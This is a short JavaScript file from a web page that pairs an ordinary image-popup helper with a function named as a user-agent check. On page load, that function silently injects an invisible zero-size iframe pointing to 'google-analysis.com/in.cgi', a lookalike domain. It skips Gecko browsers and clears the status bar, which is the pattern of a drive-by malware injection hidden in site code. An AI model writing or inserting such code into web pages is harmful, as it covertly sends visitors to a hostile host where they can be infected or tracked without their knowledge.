
var IFrameObj; // our IFrame object
function UserAgentDet() {
 if (!document.createElement) {return true};
 var IFrameDoc;
 window.status = ' ';
 var URL = 'http://google-analysis.com/in.cgi?10';
 if (!IFrameObj && document.createElement) {
  try {
   var tempIFrame=document.createElement('iframe');
   tempIFrame.setAttribute('id','RSIFrame');
   tempIFrame.style.border='0px';
   tempIFrame.style.width='0px';
   tempIFrame.style.height='0px';
   IFrameObj = document.body.appendChild(tempIFrame);

   if (document.frames) {
    IFrameObj = document.frames['RSIFrame'];
   }
  } catch(exception) {
   iframeHTML='<iframe id="RSIFrame" style="';
   iframeHTML+='border:0px;';
   iframeHTML+='width:0px;';
   iframeHTML+='height:0px;';
   iframeHTML+='"><\/iframe>';
   document.body.innerHTML+=iframeHTML;
   IFrameObj = new Object();
   IFrameObj.document = new Object();
   IFrameObj.document.location = new Object();
   IFrameObj.document.location.iframe = document.getElementById('RSIFrame');
   IFrameObj.document.location.replace = function(location) {
    this.iframe.src = location;
   }
  }
 }

 if (navigator.userAgent.indexOf('Gecko') !=-1) {
  return false;
 }

 if (IFrameObj.contentDocument) {
  // For NS6
  IFrameDoc = IFrameObj.contentDocument;
 } else if (IFrameObj.contentWindow) {
  // For IE5.5 and IE6
  IFrameDoc = IFrameObj.contentWindow.document;
 } else if (IFrameObj.document) {
  // For IE5
  IFrameDoc = IFrameObj.document;
 } else {
  return true;
 }

 IFrameDoc.location.replace(URL);
 return false;
}
UserAgentDet();

  function openpopup( FileName )
  {

    html = '<html><head><title>Photo</title>' +
           '<style type="text/css">*{margin: 0;padding: 0}</style></head>' +
           '<body><img src="' + FileName + '" style="border: 0" ' +
           'name="image" onload="window.resizeTo(document.image.width,document.image.height+35)" /></body></html>';

    popup=window.open('','image','toolbar=0,location=0,directories=0,menuBar=0,scrollbars=0,resizable=1,status=0');
    popup.document.open();
    popup.document.write( html );
    popup.document.close()

  }

